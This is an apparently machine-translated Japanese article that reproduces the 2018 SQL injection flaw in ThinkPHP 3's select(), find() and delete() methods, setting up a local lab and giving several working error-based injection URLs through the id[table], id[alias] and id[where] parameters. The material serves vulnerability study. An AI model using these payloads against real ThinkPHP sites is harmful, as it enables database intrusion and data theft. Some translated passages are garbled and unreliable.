ホームページ > 記事 > PHPフレームワーク > thinkphp3に脆弱性はありますか?
#thinkphp3 には脆弱性がありますか?
thinkphp3 には脆弱性がありますが、2018 年 8 月 23 日木曜日、北京時間 11 時 25 分に、tp チームは更新が停止されている thinkphp 3 シリーズのセキュリティ更新を作成しました。分析の結果、この更新は配列型データを渡す可能性のある select()、find()、および delete() メソッドによって引き起こされる複数の SQL インジェクションのリスクを修正します。 #0x01 脆弱性の再発# ソース コードのダウンロード: git clone https://github.com/top-think/thinkphp.git
git checkout コマンドを使用してバージョンを最後のコミットにロールバックします:
git checkout 109bf30254a38651c21837633d9293a4065c300b
phpstudy などの統合ツールを使用して thinkphp をビルドし、Apache 構成ファイル httpd を変更します-conf
phpstudy を再起動し、127.0.0.1 にアクセスし、thinkphp が正常に実行されていることを示す thinkphp ウェルカム メッセージを出力します。
#データベースを構築します。データベースは tptest、テーブルは user、テーブルには id、username、passの 3 つのフィールドがあります Application\Common\Conf\config.php 構成ファイルを変更し、データベース構成情報を追加します。 Application\Home\Controller\IndexController.class.php に次のコードを追加します。public function test() { $id = i('id'); $res = M('user')->find($id); //$res = M('user')->delete($id); //$res = M('user')->select($id); }select() メソッドと find() メソッドの場合、注意すべき箇所はたくさんありますが、ここでは主に 3 つのテーブル、エイリアス、場所を列挙します。詳細については、parseSql の各種 parseXXX メソッドを自分で追跡してください。having、group など、目視検査が可能です。
table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--delete() メソッドにも同じことが当てはまります。ここでは、テーブル、エイリアス、および where の 3 つの大まかな例を示します。ただし、テーブルとエイリアスを使用する場合は、次のことも行う必要があります。空でないことを確認します (詳細な理由は後で説明します)
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- alias: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- table: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1github 上のコミットを比較すると、この更新が主に ThinkPHP/Library/Think/ にあることが大まかにわかります。モデル .class.php ファイルでは、delete、find、select の 3 つの関数が変更されました。
以上がthinkphp3に脆弱性はありますか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。